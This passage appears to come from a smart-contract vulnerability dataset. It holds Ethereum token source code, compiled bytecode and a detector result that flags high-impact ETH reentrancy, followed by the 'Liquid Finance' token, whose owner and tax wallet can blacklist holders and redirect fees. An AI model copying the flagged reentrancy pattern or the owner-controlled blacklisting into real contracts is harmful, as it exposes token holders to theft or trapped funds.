uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610275578063842b7c081461028a5780638da5cb5b146102aa57806395d89b41146102d2578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e2578063313ce567146102045780635932ead1146102205780636fc3eaec1461024057806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a81526948696e61746120496e7560b01b60208201525b604051610160919061187d565b60405180910390f35b34801561017557600080fd5b50610189610184366004611704565b6103d1565b6040519015158152602001610160565b3480156101a557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610160565b3480156101ce57600080fd5b506101896101dd3660046116c3565b6103e8565b3480156101ee57600080fd5b506102026101fd366004611650565b610451565b005b34801561021057600080fd5b5060405160098152602001610160565b34801561022c57600080fd5b5061020261023b3660046117fc565b6104a5565b34801561024c57600080fd5b506102026104ed565b34801561026157600080fd5b506101b4610270366004611650565b61051a565b34801561028157600080fd5b5061020261053c565b34801561029657600080fd5b506102026102a5366004611836565b6105b0565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102de57600080fd5b5060408051808201909152600681526548494e41544160d01b6020820152610153565b34801561030d57600080fd5b5061018961031c366004611704565b610607565b34801561032d57600080fd5b5061020261033c366004611730565b610614565b34801561034d57600080fd5b506102026106aa565b34801561036257600080fd5b506102026106e0565b34801561037757600080fd5b50610202610386366004611836565b610aa9565b34801561039757600080fd5b506101b46103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b038481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207038842f8fe24a7acfc8b29433ca5a3ff485b7686dce7fdbeed6881537c5100664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,633
0x226e9f5de39c392ef670de9fca8a4d930e611139
/** *Submitted for verification at Etherscan.io on 2022-03-11 */ //SPDX-License-Identifier: UNLICENSED //Telegram: https://t.me/liquidfinance pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LIQFIN is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Liquid Finance"; string public constant symbol = unicode"LiqFin"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 10; uint public _sellFee = 15; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; require(amount <= _maxBuyAmount); require((amount + balanceOf(address(to))) <= _maxHeldTokens); if(!cooldown[to].exists) { cooldown[to] = User(0,true); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds)); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 100000000 * 10**9; _maxHeldTokens = 200000000 * 10**9; } function setMaxTxn(uint maxbuy, uint maxheld) external { require(_msgSender() == _TaxAdd); require(maxbuy > 100000000 * 10**9); require(maxheld > 200000000 * 10**9); _maxBuyAmount = maxbuy; _maxHeldTokens = maxheld; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < 9 && sell < 14 && buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e91906118f9565b34801561027a57600080fd5b5061028e610289366004611973565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b936600461199f565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e6103443660046119c1565b610704565b34801561035557600080fd5b50610214610758565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a0366004611a18565b610768565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611add565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611afa565b6107f4565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be610895565b34801561048157600080fd5b50610214610490366004611add565b6108c2565b3480156104a157600080fd5b506102be6108dd565b3480156104b657600080fd5b506102be6104c5366004611add565b610951565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be61055536600461199f565b6109bf565b34801561056657600080fd5b5061028e610575366004611973565b610a12565b34801561058657600080fd5b506102be610595366004611a18565b610a1f565b3480156105a657600080fd5b506102be610b38565b3480156105bb57600080fd5b506102be610b6e565b3480156105d057600080fd5b50610214610c10565b3480156105e557600080fd5b506102be6105f4366004611b21565b610c28565b34801561060557600080fd5b50610214610614366004611b3e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610c9b565b6000610661338484610fe1565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b60098210801561069a5750600e81105b80156106a75750600a5482105b80156106b45750600b5481105b6106bd57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610711848484611105565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610740908490611b8d565b905061074d853383610fe1565b506001949350505050565b6000610763306108c2565b905090565b6008546001600160a01b0316336001600160a01b03161461078857600080fd5b60005b81518110156107f0576000600560008484815181106107ac576107ac611ba4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e881611bba565b91505061078b565b5050565b6008546001600160a01b0316336001600160a01b03161461081457600080fd5b600081116108595760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108b557600080fd5b476108bf816115c6565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109075760405162461bcd60e51b815260040161085090611bd5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461097157600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161088a565b6008546001600160a01b0316336001600160a01b0316146109df57600080fd5b67016345785d8a000082116109f357600080fd5b6702c68af0bb1400008111610a0757600080fd5b600d91909155600e55565b6000610661338484611105565b6000546001600160a01b03163314610a495760405162461bcd60e51b815260040161085090611bd5565b60005b81518110156107f05760095482516001600160a01b0390911690839083908110610a7857610a78611ba4565b60200260200101516001600160a01b031614158015610ac9575060075482516001600160a01b0390911690839083908110610ab557610ab5611ba4565b60200260200101516001600160a01b031614155b15610b2657600160056000848481518110610ae657610ae6611ba4565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b3081611bba565b915050610a4c565b6008546001600160a01b0316336001600160a01b031614610b5857600080fd5b6000610b63306108c2565b90506108bf81611600565b6000546001600160a01b03163314610b985760405162461bcd60e51b815260040161085090611bd5565b60105460ff1615610be55760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610850565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b600954600090610763906001600160a01b03166108c2565b6008546001600160a01b0316336001600160a01b031614610c4857600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161088a565b6000546001600160a01b03163314610cc55760405162461bcd60e51b815260040161085090611bd5565b60105460ff1615610d125760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610850565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d4e3082678ac7230489e80000610fe1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db09190611c0a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e219190611c0a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e929190611c0a565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610ec2816108c2565b600080610ed76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f3f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f649190611c27565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fbd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190611c55565b6001600160a01b0383166110435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610850565b6001600160a01b0382166110a45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610850565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f